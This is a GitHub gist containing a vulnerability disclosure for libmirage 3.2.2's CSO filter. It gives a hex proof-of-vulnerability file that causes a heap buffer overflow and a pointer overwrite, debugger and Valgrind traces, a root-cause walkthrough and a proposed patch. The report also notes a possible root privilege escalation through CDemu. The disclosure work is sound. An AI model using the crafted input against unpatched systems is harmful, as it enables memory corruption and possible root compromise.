Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save andreafioraldi/baa79cd78131888d98d6ba680d5f514e to your computer and use it in GitHub Desktop.
Save andreafioraldi/baa79cd78131888d98d6ba680d5f514e to your computer and use it in GitHub Desktop.
Hi,
I found a critical bug in libmirage 3.2.2, specifically in the CSO filter.
The file content that triggers the bug (PoV) is the following (344 bytes in hex):
43 49 53 4F 00 00 00 00 FF 00 00 00 00 00 00 FF
FF 00 00 00 00 30 00 00 00 00 00 00 61 61 00 00
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
41 41 41 41 41 41 41 41
Running the file libmirage cause an assertion error in ptmalloc:
** (process:4444): WARNING **: 19:33:48.056: CSO-FilterStream: failed to inflate part: invalid distance too far back
!
** (process:4444): WARNING **: 19:33:48.056: FilterStream: failed to do a partial read!
...
** (process:4444): WARNING **: 19:33:48.056: CSO-FilterStream: failed to inflate part: invalid distance too far back
!
** (process:4444): WARNING **: 19:33:48.056: FilterStream: failed to do a partial read!
double free or corruption (!prev)
Aborted
The CSO header (the first 24 bytes) is the follwing:
(gdb) p *header
$36 = {
magic = "CISO",
header_size = 0x0,
total_bytes = 0xff000000000000ff,
block_size = 0xff,
version = 0x0,
idx_align = 0x30,
reserved = 0x0
}
The buggy code is in filters/filter-cso/filter-stream.c.
To analyze the root cause of the bug we must look at the mirage_filter_stream_cso_read_index routine before.
In the details, look at the code that computes the comp_size field of each self->priv->parts (the snippet starts at line 100).
/* Read and decode index */
for (gint i = 0; i < self->priv->num_indices; i++) {
guint32 buf;
CSO_Part *cur_part = &self->priv->parts[i];
/* Read index entry */
ret = mirage_stream_read(stream, &buf, sizeof(buf), NULL);
if (ret != sizeof(guint32)) {
g_set_error(error, MIRAGE_ERROR, MIRAGE_ERROR_STREAM_ERROR, Q_("Failed to read from index!"));
return FALSE;
}
/* Fixup endianness */
buf = GUINT32_FROM_LE(buf);
/* Calculate part info */
cur_part->offset = (buf & 0x7FFFFFFF) << header->idx_align;
cur_part->raw = buf >> 31;
if (i > 0) {
CSO_Part *prev_part = &self->priv->parts[i-1];
prev_part->comp_size = cur_part->offset - prev_part->offset;
}
}
cur_part->offset is a controlled field cause buf is directly readed from the input file.
It is used to set the value of prev_part->comp_size if the iteration is nto the first.
In the PoV file self->priv->num_indices is 2.
The first iteration does not set comp_size due to the `if (i > 0)` but sets cur_part->offset to input[24:28] = 0.
The second sets cur_part->offset = (input[28:32] & 0x7FFFFFFF) << 0x30 = (0x6161 & 0x7FFFFFFF) << 0x30 = 0x61610000.
Now, always in the same routine, look at the code that allocates memory for self->priv->io_buffer:
/* Allocate I/O buffer */
self->priv->io_buffer_size = header->block_size;
self->priv->io_buffer = g_try_malloc(self->priv->io_buffer_size);
if (!self->priv->io_buffer) {
g_set_error(error, MIRAGE_ERROR, MIRAGE_ERROR_STREAM_ERROR, Q_("Failed to allocate memory for I/O buffer!"));
return FALSE;
}
As you can see the size is taken from the header (block_size), 0xff in the PoV file.
The bug is in mirage_filter_stream_cso_partial_read when the program tries to read compressed data (the snippet starts at line 273).
do {
/* Read */
if (!zlib_stream->avail_in) {
/* Read some compressed data */
ret = mirage_stream_read(stream, self->priv->io_buffer, part->comp_size, NULL);
if (ret == -1) {
MIRAGE_DEBUG(self, MIRAGE_DEBUG_WARNING, "%s: failed to read %d bytes from underlying stream!\n", __debug__, self->priv->io_buffer_size);
return -1;
} else if (ret == 0) {
MIRAGE_DEBUG(self, MIRAGE_DEBUG_WARNING, "%s: unexpectedly reached EOF\n!", __debug__);
return -1;
}
zlib_stream->avail_in = ret;
zlib_stream->next_in = self->priv->io_buffer;
}
/* Inflate */
ret = inflate(zlib_stream, Z_NO_FLUSH);
if (ret == Z_NEED_DICT || ret == Z_MEM_ERROR || ret == Z_DATA_ERROR) {
MIRAGE_DEBUG(self, MIRAGE_DEBUG_WARNING, "%s: failed to inflate part: %s\n!", __debug__, zlib_stream->msg);
return -1;
}
} while (zlib_stream->avail_out);
Look at the call to mirage_stream_read, you can note that the size parameter is part->comp_size, that is 0x61610000, but the allocated space
for self->priv->io_buffer is only 0xff.
This lead to an Heap Buffer Overflow of arbitray size that can both corrupt the allocator metadata (in fact, later, the program crashes with an assertion failure in the allocator code)
and the program data structures in the heap.
In the PoV I overwrite a pointer in the heap with AAAAAAAA (0x4141414141414141) just after self->priv->io_buffer that is later freed in mirage_context_create_input_stream (context.c:488).
If you run Valgrind you get the following result:
==2510== Invalid free() / delete / delete[] / realloc()
==2510== at 0x4C30D3B: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==2510== by 0x9791D53: mirage_filter_stream_ecm_finalize (filter-stream.c:539)
==2510== by 0x5397011: g_object_unref (in /usr/lib/x86_64-linux-gnu/libgobject-2.0.so.0.5600.4)
==2510== by 0x4E4AD3F: mirage_context_create_input_stream (context.c:488)
==2510== by 0x4E4A9A9: mirage_context_load_image (context.c:374)
==2510== by 0x400EC2: main (driver.c:18)
==2510== Address 0x4141414141414141 is not stack'd, malloc'd or (recently) free'd
==2510==
That is a so called House of Spirit attack, a first step towards code execution.
My proposed fix is the following:
--- filter-stream_old.c 2019-08-24 19:24:17.931003000 +0200
+++ filter-stream.c 2019-08-24 19:26:13.563667216 +0200
@@ -273,10 +273,17 @@
do {
/* Read */
if (!zlib_stream->avail_in) {
+ /* Reallocate I/O buffer */
+ self->priv->io_buffer = g_realloc(self->priv->io_buffer, part->comp_size);
+ if (!self->priv->io_buffer) {
+ MIRAGE_DEBUG(self, MIRAGE_DEBUG_WARNING, "%s: failed to reallocate memory for I/O buffer!\n", __debug__);
+ return -1;
+ }
+
/* Read some compressed data */
ret = mirage_stream_read(stream, self->priv->io_buffer, part->comp_size, NULL);
if (ret == -1) {
- MIRAGE_DEBUG(self, MIRAGE_DEBUG_WARNING, "%s: failed to read %d bytes from underlying stream!\n", __debug__, self->priv->io_buffer_size);
+ MIRAGE_DEBUG(self, MIRAGE_DEBUG_WARNING, "%s: failed to read %ld bytes from underlying stream!\n", __debug__, part->comp_size);
return -1;
} else if (ret == 0) {
MIRAGE_DEBUG(self, MIRAGE_DEBUG_WARNING, "%s: unexpectedly reached EOF\n!", __debug__);
Due to the fact that is bug can be triggered with just a call to mirage_context_load_image it is also a vulnerability of the CDemu package.
The CDemu deamon runs as root an call mirage_context_load_image so this bug, if exploited, can lead to a priviledge escalation in Linux.
Thanks for the attention and best regards,
Andrea Fioraldi [Msc student Sapienza University of Rome]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment